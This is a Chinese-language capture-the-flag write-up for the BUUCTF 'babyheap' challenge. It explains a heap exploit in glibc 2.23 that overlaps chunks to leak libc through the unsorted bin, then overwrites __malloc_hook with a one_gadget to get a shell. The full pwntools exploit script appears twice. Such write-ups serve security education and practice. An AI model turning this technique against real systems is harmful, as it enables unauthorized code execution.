这是一道关于堆的题目,我们先看一下保护
可以知道保护全开,64位,再看ida
这里就不作过多的解释了,大致就是alloc(创造堆块)、fill(填充堆块内容)、free(释放堆块)、dump(输出堆块内容)
解题的思路可以分为两步,第一步是利用unsortedbin的特性泄露出mainare+88的地址,进而求出libc,第二步就是伪造堆块和利用malloc_hook的特性getshell。
先来详细讲讲第一步,第一步exp如下
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64')
p=process('./babyheap')
#p=remote('node5.buuoj.cn',27442)
def alloc(size):
p.sendlineafter(b'Command:',str(1))
p.sendlineafter(b'Size:',str(size))
def fill(index,size,content):
p.sendlineafter(b'Command:',str(2))
p.sendlineafter(b'Index:',str(index))
p.sendlineafter(b'Size:',str(size))
p.sendafter(b'Content:',content)
def free(index):
p.sendlineafter(b'Command:',str(3))
p.sendlineafter(b'Index:',str(index))
def dump(index):
p.sendlineafter(b'Command:',str(4))
p.sendlineafter(b'Index:',str(index))
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)
free(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3+p64(0x21)
fill(3,len(payload),payload)
alloc(0x10)
alloc(0x10)
payload=p64(0)*3+p64(0x91)
fill(3,len(payload),payload)
alloc(0x80)
free(4)
dump(2)
mainarena88=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
mainarena=mainarena88-88
malloc_hook=mainarena-0x10
libc=LibcSearcher('__malloc_hook',malloc_hook)
libcbase=malloc_hook-libc.dump('__malloc_hook')
首先,我们申请了5个堆块,分别为四个0x10的堆块和一个0x80的堆块,他们会自动被定为堆块0、1、2、3、4,其中申请堆块0是为了修改堆块1、2,申请堆块3是为了修改堆块4。
在dump(2)之前所进行的操作是为了让index2和index4指向同一个堆块,然后free掉index4,这样堆块4就会进入unsortedbin中,当unsortedbin只有一个堆块的时候,这个堆块的fd就会指向mainarena+88的地方,这是unsortedbin的特性。
但是这里要解释一点,为什么不能直接释放堆块4,虽然这样堆块4也能进入unsortedbin里,但是要注意free堆块后指向堆块的指针将会被置零,大致意思就是free了之后,index4就不指向那个堆块了,这时候dump(4)就是无效的,虽然那个堆块里面有mainarena+88的地址,但dump(4)不会打印出里面的地址,所以我们要让两个堆块的指针指向同一个堆块,这样在释放掉一个堆块时还能用另一个指针利用该堆块。
现在顺着exp来解析第一步的操作,申请5个堆块这不多说,然后free堆块1和堆块2,fill(0,len(payload),payload),这里的操作是为了修改index2中所存储的index1的地址,在我们释放堆块1和堆块2的时候,在fastbin中,堆块2的fd指针会指向堆块1的地址。这样修改之后就相当于把堆块4存入fastbin中。
然后是fill(3,len(payload),payload)这一步,这里是借用堆块3修改堆块4的堆头,因为calloc也就是分配堆块会检查堆的大小是否符合申请的大小,我们把堆块4堆头代表大小的数改为0x21这样就可以绕开检查,这时候我们再两次alloc(0x10)我们就可以让index2和index4同时指向一个堆块,然后的fill就是恢复那个堆块原来的堆头了。
接下来的alloc(0x80)是为了防止free(4)之后堆块4会和topchunk合并,要是合并了就没法打印地址了。
然后就是free(4)和dump(2)了,因为index2和index4同时指向同一个堆块,所以即使堆块4被置零,我们依旧可以打印该堆块里的内容。
还有malloc_hook的位置是调试出来的,虽然有堆块地址随机化,但是相对偏移是不变的,所以调试出来的相对位置是有用的,这里的malloc_hook在下面会有用,当然这里也可以用来搜索libc。
###补充点1:fastbin会存储0x20~0x80大小的堆块,释放范围内大小的堆块会把堆块放入fastbin中
###补充点2:为什么free(4)堆块4不会放入smallbin中,因为大小不在fastbin中的堆块被释放时会被存入unsortedbin中,然后经过“整理”才会被放入smallbin中,这个整理是与程序有关的,一般情况下是这样,但最好调试去查看。
第一步泄露libc结束。
第二步利用malloc_hook获得shell的exp如下
alloc(0x60)
free(4)
payload=p64(malloc_hook-35)
fill(2,len(payload),payload)
alloc(0x60)
alloc(0x60)
system=libcbase+0x4526a
payload=p64(0)*2+p8(0)*3+p64(system)
fill(6,len(payload),payload)
alloc(1)
p.interactive()
首先分析alloc(0x60)、free(4)和fill,上面我们将堆块4给free了,但是我们free的是大小为0x90的堆块,这里我们如果把整个堆块都重新申请回来或者是根本不重新申请,之后进行下一步的fill的时候堆块是在unsortedbin里的,fd指针和bk指针指向mainarena+88,这时候fill的话就需要更改fd指针和bk指针才能达到我们的目的。
这里分析一下payload=p64(malloc_hook-35),fill(2,len(payload),payload)
这里的malloc_hook-35是有讲究的,我们要在有类似堆头的地址创建堆,因为创建堆会检查堆的大小,也就是检查堆头的size处,不能随意地去创建堆,不然程序会发生错误。后面alloc(0x60)与这里的0x7f有关。
###补充点1:为什么开头要alloc(0x60)和free(4)把大小为0x90的堆块切割到fastbin和unsortedbin中?这里要与我们后面找到的0x7f的类似堆头有关,我们伪造堆块是修改fastbin中的fd指针,而在fastbin中又对不同大小的堆有分类,比如0x20为一类,0x30为一类等等,如果我们找到的是0x7f的类似堆头,但是修改的是存储在fastbin的0x20的堆块,那当我们alloc伪造的堆块时就会发生错误,比如如果你在获取伪堆块时alloc(0x60)那他就不会从fastbin中获取我们伪造的堆块,因为此时伪造的堆块在fastbin中的0x20类,但是如果你alloc(0x10),那就会发生错误,因为创建堆块有大小检查,我们找的类似堆头是0x7f,就会直接发生错误,所以这里开头要alloc(0x60)才能进行下面的操作
然后两次alloc(0x60)就可以在malloc_hook附近创建堆,方便我们修改malloc_hook里的内容了。
在分配堆的时候,如果malloc_hook地址不为空的话就会执行该地址内的函数,这里我们利用在他附近创建的堆块修改他的内容,然后alloc任意大小的堆就会直接运行system('/bin/sh')
这里的system('/bin/sh')是通过one_gadget工具找出的,该工具的作用就是找出libc中的片段
完整的exp如下:
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64')
p=process('./babyheap')
#p=remote('node5.buuoj.cn',27442)
def alloc(size):
p.sendlineafter(b'Command:',str(1))
p.sendlineafter(b'Size:',str(size))
def fill(index,size,content):
p.sendlineafter(b'Command:',str(2))
p.sendlineafter(b'Index:',str(index))
p.sendlineafter(b'Size:',str(size))
p.sendafter(b'Content:',content)
def free(index):
p.sendlineafter(b'Command:',str(3))
p.sendlineafter(b'Index:',str(index))
def dump(index):
p.sendlineafter(b'Command:',str(4))
p.sendlineafter(b'Index:',str(index))
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)
free(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
fill(0,len(payload),payload)
payload=p64(0)*3+p64(0x21)
fill(3,len(payload),payload)
alloc(0x10)
alloc(0x10)
payload=p64(0)*3+p64(0x91)
fill(3,len(payload),payload)
alloc(0x80)
free(4)
dump(2)
mainarena88=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
mainarena=mainarena88-88
malloc_hook=mainarena-0x10
libc=LibcSearcher('__malloc_hook',malloc_hook)
libcbase=malloc_hook-libc.dump('__malloc_hook')
print(hex(mainarena88))
print(hex(mainarena))
alloc(0x60)
free(4)
payload=p64(malloc_hook-35)
print(hex(malloc_hook))
print(hex(malloc_hook-35))
fill(2,len(payload),payload)
alloc(0x60)
alloc(0x60)
system=libcbase+0x4526a
payload=p64(0)*2+p8(0)*3+p64(system)
fill(6,len(payload),payload)
alloc(1)
p.interactive()
因为buuctf题目没有对应的libc所以我在本地打的时候是用版本相近的libc去打的,getshell那一步需要用到题目的libc才能找到system。(我本地打的是2.23-0ubuntu3_amd64/libc-2.23.so,system是libcbase+0x4525a,其他的地方都是一样的)